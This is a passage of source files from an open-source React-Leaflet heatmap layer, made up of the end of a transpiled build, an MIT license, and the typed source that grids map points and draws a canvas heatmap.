};
var filterUndefined = function filterUndefined(row) {
return (0, _lodash6.default)(row, function (c) {
return c !== undefined;
});
};
var roundResults = function roundResults(results) {
return (0, _lodash4.default)(results, function (result, row) {
return (0, _lodash2.default)(filterUndefined(row), function (cell) {
return [Math.round(cell[0]), Math.round(cell[1]), Math.min(cell[2], maxIntensity), cell[3]];
}).concat(result);
}, []);
};
var accumulateInGrid = function accumulateInGrid(points, leafletMap, bounds) {
return (0, _lodash4.default)(points, function (grid, point) {
var latLng = [getLat(point), getLng(point)];
if (isInvalidLatLngArray(latLng)) {
//skip invalid points
return grid;
}
var p = leafletMap.latLngToContainerPoint(latLng);
if (!inBounds(p, bounds)) {
return grid;
}
var x = Math.floor((p.x - offsetX) / cellSize) + 2;
var y = Math.floor((p.y - offsetY) / cellSize) + 2;
grid[y] = grid[y] || [];
var cell = grid[y][x];
var alt = getIntensity(point);
var k = alt * v;
if (!cell) {
grid[y][x] = [p.x, p.y, k, 1];
} else {
cell[0] = (cell[0] * cell[2] + p.x * k) / (cell[2] + k); // x
cell[1] = (cell[1] * cell[2] + p.y * k) / (cell[2] + k); // y
cell[2] += k; // accumulated intensity value
cell[3] += 1;
}
return grid;
}, []);
};
var getBounds = function getBounds() {
return new _leaflet2.default.Bounds(_leaflet2.default.point([-r, -r]), size.add([r, r]));
};
var getDataForHeatmap = function getDataForHeatmap(points, leafletMap) {
return roundResults(accumulateInGrid(points, leafletMap, getBounds(leafletMap)));
};
var data = getDataForHeatmap(this.props.points, this.props.leaflet.map);
this._heatmap.clear();
this._heatmap.data(data).draw(this.getMinOpacity(this.props));
this._frame = null;
if (this.props.onStatsUpdate && this.props.points && this.props.points.length > 0) {
this.props.onStatsUpdate((0, _lodash4.default)(data, function (stats, point) {
stats.max = point[3] > stats.max ? point[3] : stats.max;
stats.min = point[3] < stats.min ? point[3] : stats.min;
return stats;
}, { min: Infinity, max: -Infinity }));
}
};
HeatmapLayer.prototype.render = function render() {
return null;
};
return HeatmapLayer;
}(_reactLeaflet.MapLayer), _class.propTypes = {
points: _propTypes2.default.array.isRequired,
longitudeExtractor: _propTypes2.default.func.isRequired,
latitudeExtractor: _propTypes2.default.func.isRequired,
intensityExtractor: _propTypes2.default.func.isRequired,
fitBoundsOnLoad: _propTypes2.default.bool,
fitBoundsOnUpdate: _propTypes2.default.bool,
onStatsUpdate: _propTypes2.default.func,
/* props controlling heatmap generation */
max: _propTypes2.default.number,
radius: _propTypes2.default.number,
maxZoom: _propTypes2.default.number,
minOpacity: _propTypes2.default.number,
blur: _propTypes2.default.number,
gradient: _propTypes2.default.object
}, _temp));
-8
LICENSE.md
The MIT License (MIT)
Copyright (c) 2016 OpenGov, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-401
src/HeatmapLayer.js
import React from 'react';
import map from 'lodash.map';
import reduce from 'lodash.reduce';
import filter from 'lodash.filter';
import min from 'lodash.min';
import max from 'lodash.max';
import isNumber from 'lodash.isnumber';
import L from 'leaflet';
import { MapLayer, withLeaflet } from 'react-leaflet';
import simpleheat from 'simpleheat';
import PropTypes from 'prop-types';
export type LngLat = {
lng: number;
lat: number;
}
export type Point = {
x: number;
y: number;
}
export type Bounds = {
contains: (latLng: LngLat) => boolean;
}
export type Pane = {
appendChild: (element: Object) => void;
}
export type Panes = {
overlayPane: Pane;
}
export type Map = {
layerPointToLatLng: (lngLat: Point) => LngLat;
latLngToLayerPoint: (lngLat: LngLat) => Point;
on: (event: string, handler: () => void) => void;
getBounds: () => Bounds;
getPanes: () => Panes;
invalidateSize: () => void;
options: Object;
}
export type LeafletZoomEvent = {
zoom: number;
center: Object;
}
function isInvalid(num: number): boolean {
return !isNumber(num) && !num;
}
function isValid(num: number): boolean {
return !isInvalid(num);
}
function isValidLatLngArray(arr: Array<number>): boolean {
return filter(arr, isValid).length === arr.length;
}
function isInvalidLatLngArray(arr: Array<number>): boolean {
return !isValidLatLngArray(arr);
}
function safeRemoveLayer(leafletMap: Map, el): void {
const { overlayPane } = leafletMap.getPanes();
if (overlayPane && overlayPane.contains(el)) {
overlayPane.removeChild(el);
}
}
function shouldIgnoreLocation(loc: LngLat): boolean {
return isInvalid(loc.lng) || isInvalid(loc.lat);
}
export default withLeaflet(class HeatmapLayer extends MapLayer {
static propTypes = {
points: PropTypes.array.isRequired,
longitudeExtractor: PropTypes.func.isRequired,
latitudeExtractor: PropTypes.func.isRequired,
intensityExtractor: PropTypes.func.isRequired,
fitBoundsOnLoad: PropTypes.bool,
fitBoundsOnUpdate: PropTypes.bool,
onStatsUpdate: PropTypes.func,
/* props controlling heatmap generation */
max: PropTypes.number,
radius: PropTypes.number,
maxZoom: PropTypes.number,
minOpacity: PropTypes.number,
blur: PropTypes.number,
gradient: PropTypes.object
};
createLeafletElement() {
return null;
}
componentDidMount(): void {
const canAnimate = this.props.leaflet.map.options.zoomAnimation && L.Browser.any3d;
const zoomClass = `leaflet-zoom-${canAnimate ? 'animated' : 'hide'}`;
const mapSize = this.props.leaflet.map.getSize();
const transformProp = L.DomUtil.testProp(
['transformOrigin', 'WebkitTransformOrigin', 'msTransformOrigin']
);
this._el = L.DomUtil.create('canvas', zoomClass);
this._el.style[transformProp] = '50% 50%';
this._el.width = mapSize.x;
this._el.height = mapSize.y;
const el = this._el;
const Heatmap = L.Layer.extend({
onAdd: (leafletMap) => leafletMap.getPanes().overlayPane.appendChild(el),
addTo: (leafletMap) => {
leafletMap.addLayer(this);
return this;
},
onRemove: (leafletMap) => safeRemoveLayer(leafletMap, el)
});
this.leafletElement = new Heatmap();
super.componentDidMount();
this._heatmap = simpleheat(this._el);
this.reset();
if (this.props.fitBoundsOnLoad) {
this.fitBounds();
}
this.attachEvents();
this.updateHeatmapProps(this.getHeatmapProps(this.props));
}
getMax(props) {
return props.max || 3.0;
}
getRadius(props) {
return props.radius || 30;
}
getMaxZoom(props) {
return props.maxZoom || 18;
}
getMinOpacity(props) {
return props.minOpacity || 0.01;
}
getBlur(props) {
return props.blur || 15;
}
getHeatmapProps(props) {
return {
minOpacity: this.getMinOpacity(props),
maxZoom: this.getMaxZoom(props),
radius: this.getRadius(props),
blur: this.getBlur(props),
max: this.getMax(props),
gradient: props.gradient
};
}
componentWillReceiveProps(nextProps: Object): void {
const currentProps = this.props;
const nextHeatmapProps = this.getHeatmapProps(nextProps);
this.updateHeatmapGradient(nextHeatmapProps.gradient);
const hasRadiusUpdated = nextHeatmapProps.radius !== currentProps.radius;
const hasBlurUpdated = nextHeatmapProps.blur !== currentProps.blur;
if (hasRadiusUpdated || hasBlurUpdated) {
this.updateHeatmapRadius(nextHeatmapProps.radius, nextHeatmapProps.blur);
}
if (nextHeatmapProps.max !== currentProps.max) {
this.updateHeatmapMax(nextHeatmapProps.max);
}
}
/**
* Update various heatmap properties like radius, gradient, and max
*/
updateHeatmapProps(props: Object) {
this.updateHeatmapRadius(props.radius, props.blur);
this.updateHeatmapGradient(props.gradient);
this.updateHeatmapMax(props.max);
}
/**
* Update the heatmap's radius and blur (blur is optional)
*/
updateHeatmapRadius(radius: number, blur: ?number): void {
if (radius) {
this._heatmap.radius(radius, blur);
}
}
/**
* Update the heatmap's gradient
*/
updateHeatmapGradient(gradient: Object): void {
if (gradient) {
this._heatmap.gradient(gradient);
}
}
/**
* Update the heatmap's maximum
*/
updateHeatmapMax(maximum: number): void {
if (maximum) {
this._heatmap.max(maximum);
}
}
componentWillUnmount(): void {
safeRemoveLayer(this.props.leaflet.map, this._el);
}
fitBounds(): void {
const points = this.props.points;
const lngs = map(points, this.props.longitudeExtractor);
const lats = map(points, this.props.latitudeExtractor);
const ne = { lng: max(lngs), lat: max(lats) };
const sw = { lng: min(lngs), lat: min(lats) };
if (shouldIgnoreLocation(ne) || shouldIgnoreLocation(sw)) {
return;
}
this.props.leaflet.map.fitBounds(L.latLngBounds(L.latLng(sw), L.latLng(ne)));
}
componentDidUpdate(): void {
this.props.leaflet.map.invalidateSize();
if (this.props.fitBoundsOnUpdate) {
this.fitBounds();
}
this.reset();
}
shouldComponentUpdate(): boolean {
return true;
}
attachEvents(): void {
const leafletMap: Map = this.props.leaflet.map;
leafletMap.on('viewreset', () => this.reset());
leafletMap.on('moveend', () => this.reset());
if (leafletMap.options.zoomAnimation && L.Browser.any3d) {
leafletMap.on('zoomanim', this._animateZoom, this);
}
}
_animateZoom(e: LeafletZoomEvent): void {
const scale = this.props.leaflet.map.getZoomScale(e.zoom);
const offset = this.props.leaflet.map
._getCenterOffset(e.center)
._multiplyBy(-scale)
.subtract(this.props.leaflet.map._getMapPanePos());
if (L.DomUtil.setTransform) {
L.DomUtil.setTransform(this._el, offset, scale);
} else {
this._el.style[L.DomUtil.TRANSFORM] =
`${L.DomUtil.getTranslateString(offset)} scale(${scale})`;
}
}
reset(): void {
const topLeft = this.props.leaflet.map.containerPointToLayerPoint([0, 0]);
L.DomUtil.setPosition(this._el, topLeft);
const size = this.props.leaflet.map.getSize();
if (this._heatmap._width !== size.x) {
this._el.width = this._heatmap._width = size.x;
}
if (this._heatmap._height !== size.y) {
this._el.height = this._heatmap._height = size.y;
}
if (this._heatmap && !this._frame && !this.props.leaflet.map._animating) {
this._frame = L.Util.requestAnimFrame(this.redraw, this);
}
this.redraw();
}
redraw(): void {
const r = this._heatmap._r;
const size = this.props.leaflet.map.getSize();
const maxIntensity = this.props.max === undefined
? 1
: this.getMax(this.props);
const maxZoom = this.props.maxZoom === undefined
? this.props.leaflet.map.getMaxZoom()
: this.getMaxZoom(this.props);
const v = 1 / Math.pow(
2,
Math.max(0, Math.min(maxZoom - this.props.leaflet.map.getZoom(), 12)) / 2
);
const cellSize = r / 2;
const panePos = this.props.leaflet.map._getMapPanePos();
const offsetX = panePos.x % cellSize;
const offsetY = panePos.y % cellSize;
const getLat = this.props.latitudeExtractor;
const getLng = this.props.longitudeExtractor;
const getIntensity = this.props.intensityExtractor;
const inBounds = (p, bounds) => bounds.contains(p);
const filterUndefined = (row) => filter(row, c => c !== undefined);
const roundResults = (results) => reduce(results, (result, row) =>
map(filterUndefined(row), (cell) => [
Math.round(cell[0]),
Math.round(cell[1]),
Math.min(cell[2], maxIntensity),
cell[3]
]).concat(result),
[]
);
const accumulateInGrid = (points, leafletMap, bounds) => reduce(points, (grid, point) => {
const latLng = [getLat(point), getLng(point)];
if (isInvalidLatLngArray(latLng)) { //skip invalid points
return grid;
}
const p = leafletMap.latLngToContainerPoint(latLng);
if (!inBounds(p, bounds)) {
return grid;
}
const x = Math.floor((p.x - offsetX) / cellSize) + 2;
const y = Math.floor((p.y - offsetY) / cellSize) + 2;
grid[y] = grid[y] || [];
const cell = grid[y][x];
const alt = getIntensity(point);
const k = alt * v;
if (!cell) {
grid[y][x] = [p.x, p.y, k, 1];
} else {
cell[0] = (cell[0] * cell[2] + p.x * k) / (cell[2] + k); // x
cell[1] = (cell[1] * cell[2] + p.y * k) / (cell[2] + k); // y
cell[2] += k; // accumulated intensity value
cell[3] += 1;
}
return grid;
}, []);
const getBounds = () => new L.Bounds(L.point([-r, -r]), size.add([r, r]));
const getDataForHeatmap = (points, leafletMap) => roundResults(
accumulateInGrid(
points,
leafletMap,
getBounds(leafletMap)
)
);
const data = getDataForHeatmap(this.props.points, this.props.leaflet.map);
this._heatmap.clear();
this._heatmap.data(data).draw(this.getMinOpacity(this.props));
this._frame = null;
if (this.props.onStatsUpdate && this.props.points && this.props.points.length > 0) {
this.props.onStatsUpdate(
reduce(data, (stats, point) => {
stats.max = point[3] > stats.max ? point[3] : stats.max;
stats.min = point[3] < stats.min ? point[3] : stats.min;
return stats;
}, { min: Infinity, max: -Infinity })
);
}
}
render(): React.Element {
return null;
}
});